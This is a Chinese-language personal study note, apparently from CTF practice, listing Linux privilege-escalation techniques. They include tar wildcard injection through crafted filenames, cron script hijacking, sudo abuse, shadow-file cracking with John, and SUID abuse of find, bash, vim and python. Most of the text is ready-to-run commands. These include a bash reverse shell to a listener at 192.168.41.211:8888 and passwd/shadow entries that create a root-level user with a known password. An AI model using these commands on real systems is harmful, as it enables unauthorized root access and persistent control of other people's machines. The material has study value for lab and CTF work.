之前的是讲了linux提权中的这个内核提权,因为之前打靶机确实是用了这个脏牛提权的,然后其他的我就先稍微提提,不搞太深入的理解这种
主要是少实战来看这个确实很浪费时间
Linux提权-通配符提权
我是感觉要是自己搭建环境然后来搞的话,有一种比较复杂然后还鸟用没有的感觉
看计划任务,发现有滥用通配符的,并且是root权限,可以进行提权
在/var/www/html下创建两个文件如下
echo “ “ > /var/www/html/–checkpoint=1
echo “ “ > /var/www/html/–checkpoint-action=exec=’bash shell.sh’
echo “bash -i >&/dev/tcp/192.168.41.211/8888 0>&1” > /var/www/html/shell.sh
使用NC进行监听,等待sh脚本被执行,连接NC
计划任务提权
linux计划任务提权是因为权限配置不当,计划任务以root权限运行,低权限的用户可以修改计划任务的
文件,从而被攻击者利用,导致提权,Linux计划任务命令如下
crontab -e 编辑计划任务
crontab -l 查看计划任务
crontab -r 删除目前的crontab
首先查询计划任务,找sh文件且以root运行,再ls -l 文件名1查看文件是否为777权限,或者是否可修改,然后插入反弹shell代码,再nc监听,计划任务执行时,所反弹的shell则是计划任务的高权限shell
ls -al /bash_os.sh
sudo滥用
使用sudo -l 查看可以无密码使用的,(例如vim,awk,find)
即可执行命令,进行sudo提权(利用众多特定sudo命令提权)
明文密码提权
主要看shadow文件可否查看,然后结合john进行文件内容解密,直接获取明文账号密码
suid相关提权思路
find提权
find比较常用,find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用
SUID权限运行,则可以通过find执行的命令都将以root身份去运行
touch anyfile #必须要有这个文件
find anyfile -exec whoami ;
即可root/
bash提权
bash命令是用来打开一个shell。同时它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,
则可以通过bash执行的命令都将以root身份去运行
bash -p (-p参数用来启动一个新的会话)
提权即可成功
whoami
root
VIM提权
利用vim提权的思路是修改/etc/passwd文件和/etc/shadow,为自己添加一个有root权限的用户
第一种方式,利用vim添加账号
vim /etc/passwd 添加特权用户
添加:bob:x:0:0::/home/bob:/bin/bash
vim /etc/shadow 添加特权用户
bob:$1$salt$638tR8bROOvPnPklDQ9Vf/:19103:0:99999:7::: 密码是123456
第二种,利用vim打开交互shell
vim -c ‘:py import os; os.execl(“/bin/sh”, “sh”, “-pc”, “reset; exec sh -p”)’
python提权
如果 Python 解释器或其调用的 shell 没有适当的限制,可能会允许未授权的用户访问更高的权限
python -c ‘import os; os.execl(“/bin/sh”, “sh”, “-p”)’
-c调用python解释器,后接python代码,调用os的execl函数,执行/bin/bash调用shell
这里其实不只是这个py的,其他语言也完全没有问题